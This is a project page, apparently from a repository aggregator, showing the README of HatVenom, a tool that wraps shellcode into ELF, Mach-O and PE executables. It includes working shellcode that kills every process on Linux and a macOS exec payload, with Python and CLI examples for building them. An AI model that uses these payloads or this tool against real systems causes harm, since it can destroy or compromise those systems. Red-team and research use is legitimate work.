All Projects → EntySec → HatVenom

EntySec / HatVenom

Licence: MIT License
HatVenom is a HatSploit native powerful payload generation tool that provides support for all common platforms and architectures.

Programming Languages

python
139335 projects - #7 most used programming language
c
50402 projects - #5 most used programming language

Projects that are alternatives of or similar to HatVenom

Lief
Authors
Stars: ✭ 2,730 (+3150%)
Mutual labels:  elf, macho, pe
ELFDump
ELFDump is a C parser for ELF64 object files.
Stars: ✭ 15 (-82.14%)
Mutual labels:  binary, executable, elf
C-Experiments
Experiments on C/C++ Exploits
Stars: ✭ 19 (-77.38%)
Mutual labels:  exploit, exploits, elf
extrude
🕵️ Analyse binaries for missing security features, information disclosure and more...
Stars: ✭ 51 (-39.29%)
Mutual labels:  binary, elf, macho
Rop Tool
A tool to help you write binary exploits
Stars: ✭ 590 (+602.38%)
Mutual labels:  exploit, elf, pe
The Backdoor Factory
Patch PE, ELF, Mach-O binaries with shellcode new version in development, available only to sponsors
Stars: ✭ 2,904 (+3357.14%)
Mutual labels:  elf, macho, pe
CamRaptor
CamRaptor is a tool that exploits several vulnerabilities in popular DVR cameras to obtain network camera credentials.
Stars: ✭ 106 (+26.19%)
Mutual labels:  exploit, payload, entysec
Automated-Malware-Analysis-List
My personal Automated Malware Analysis Sandboxes and Services
Stars: ✭ 20 (-76.19%)
Mutual labels:  malware, elf, pe
Pwninit
pwninit - automate starting binary exploit challenges
Stars: ✭ 127 (+51.19%)
Mutual labels:  exploit, binary, elf
checksec.rs
Fast multi-platform (ELF/PE/MachO) binary checksec written in Rust.
Stars: ✭ 71 (-15.48%)
Mutual labels:  elf, macho, pe
MsfMania
Python AV Evasion Tools
Stars: ✭ 388 (+361.9%)
Mutual labels:  malware, shellcode-injection
gocave
Finding code caves in ELF files with GoLang
Stars: ✭ 22 (-73.81%)
Mutual labels:  malware, elf
ctf
CTF programs and writeups
Stars: ✭ 22 (-73.81%)
Mutual labels:  exploits, binary-exploitation
discord-bugs-exploits
A Collection of Various Discord Bugs, Exploits, Un-Documented Parts of the Discord API, and Other Discord Related Miscellaneous Stuff.
Stars: ✭ 22 (-73.81%)
Mutual labels:  exploit, exploits
basgo
basgo compiles BASIC-lang to Golang. Then 'go build' can translate code to native executable binary.
Stars: ✭ 31 (-63.1%)
Mutual labels:  binary, executable
get-bin-path
Get the current package's binary path
Stars: ✭ 25 (-70.24%)
Mutual labels:  binary, executable
exploit
Collection of different exploits
Stars: ✭ 153 (+82.14%)
Mutual labels:  exploit, exploits
Bash
Collection of bash scripts I wrote to make my life easier or test myself that you may find useful.
Stars: ✭ 19 (-77.38%)
Mutual labels:  exploit, exploits
maalik
Feature-rich Post Exploitation Framework with Network Pivoting capabilities.
Stars: ✭ 75 (-10.71%)
Mutual labels:  malware, payload
pwnscripts
Very simple script(s) to hasten binary exploit creation
Stars: ✭ 66 (-21.43%)
Mutual labels:  exploit, binary-exploitation

HatVenom

HatVenom is a HatSploit native powerful payload generation tool that provides support for all common platforms and architectures.

Features

  • Support for most common executable formats like elf, macho, pe, dll.
  • Support for most common architectures like x64, x86, aarch64, armle, mipsle, mipsbe.
  • Ability to modify shellcode by changing pre-defined offsets.

Installation

pip3 install git+https://github.com/EntySec/HatVenom

Supported targets

Format x86 x64 armle armbe aarch64 mipsle mipsbe mips64le mips64be
elf yes yes yes no yes yes yes no no
macho no yes no no no no no no no
pe yes yes no no no no no no no
dll yes yes no no no no no no no
  • elf - Unix Executable & Linkable Format.
  • macho - macOS / Apple iOS Mach-O executable format.
  • pe - Windows Portable Executable format.
  • dll - Windows Dynamic Link Library format.

Basic functions

There are all HatVenom basic functions that can be used to generate payload, covert data, assemble code or inject shellcode.

  • convert_host(host, endian='little') - Convert host to bytes.
  • convert_port(port, endian='little') - Convert port to bytes.
  • generate(file_format, arch, shellcode, offsets={}) - Generates payload for specified target and with specified shellcode.
  • generate_to(file_format, arch, shellcode, offsets={}, filename='a.out') - Generates payload for specified target and with specified shellcode and saves it to the specified file.

Generating payload

It's very easy to generate payload for various targets in HatVenom. Let's generate a simple payload that kills all processes for Linux and save it to a.out.

Examples

from hatvenom import HatVenom

shellcode = (
    "\x6a\x3e\x58\x6a\xff\x5f\x6a\x09\x5e\x0f\x05"
)

hatvenom = HatVenom()
hatvenom.generate_to('elf', 'x64', shellcode)

Payload offsets

Payload offsets is a variables used to add something to a shelcode on the preprocessing stage. Offsets looks like this:

\x90\x90\x90\x90:message:string:\x90\x90\x90\x90

Where message is an offset name and string is an offset type. So the basic usage of the offset looks like:

[shellcode]:[name]:[type]:[shellcode]

There are some possible offsets types:

  • string - Plain text that will be converted to bytes on the preprocessing stage.
  • ip - IP address that will be converted to bytes on the preprocessing stage.
  • port - Numeric port that will be converted to bytes on the preprocessing stage.

So if you want to replace offset with bytes instead of string, ip and port, you can use this type:

[shellcode]:[name]:[shellcode]

Examples

Let's generate a simple payload that executes provided through file offset file for macOS and save it to a.out.

from hatvenom import HatVenom

shellcode = (
    b"\x48\x31\xf6\x56\x48\xbf"
    b":file:string:"
    b"\x57\x48\x89\xe7\x48\x31"
    b"\xd2\x48\x31\xc0\xb0\x02"
    b"\x48\xc1\xc8\x28\xb0\x3b"
    b"\x0f\x05"
)

hatvenom = HatVenom()
hatvenom.generate_to('macho', 'x64', shellcode, {'file':'//bin/ps'})

HatVenom CLI

HatVenom also has their own command line interface that can be invoked by executing hatvenom command:

usage: hatvenom [-h] [-f FORMAT] [-a ARCH] [-s SHELLCODE] [--offsets OFFSETS]
                [-o OUTPUT]

HatVenom is a HatSploit native powerful payload generation and shellcode
injection tool that provides support for common platforms and architectures.

optional arguments:
  -h, --help            show this help message and exit
  -f FORMAT, --format FORMAT
                        Platform to generate for.
  -a ARCH, --arch ARCH  Architecture to generate for.
  -s SHELLCODE, --shellcode SHELLCODE
                        Shellcode to inject.
  --offsets OFFSETS     Shellcode offsets.
  -o OUTPUT, --output OUTPUT
                        File to output generated payload.

Examples

Let's generate a simple payload that kills all processes for Linux and save it to a.out.

hatvenom --format elf --arch x64 --shellcode "\x6a\x3e\x58\x6a\xff\x5f\x6a\x09\x5e\x0f\x05"

NOTE: If you want to use offsets in the CLI version of HatVenom, then you should use --offsets one=1,two=2

Note that the project description data, including the texts, logos, images, and/or trademarks, for each open source project belongs to its rightful owner. If you wish to add or remove any projects, please contact us at [email protected].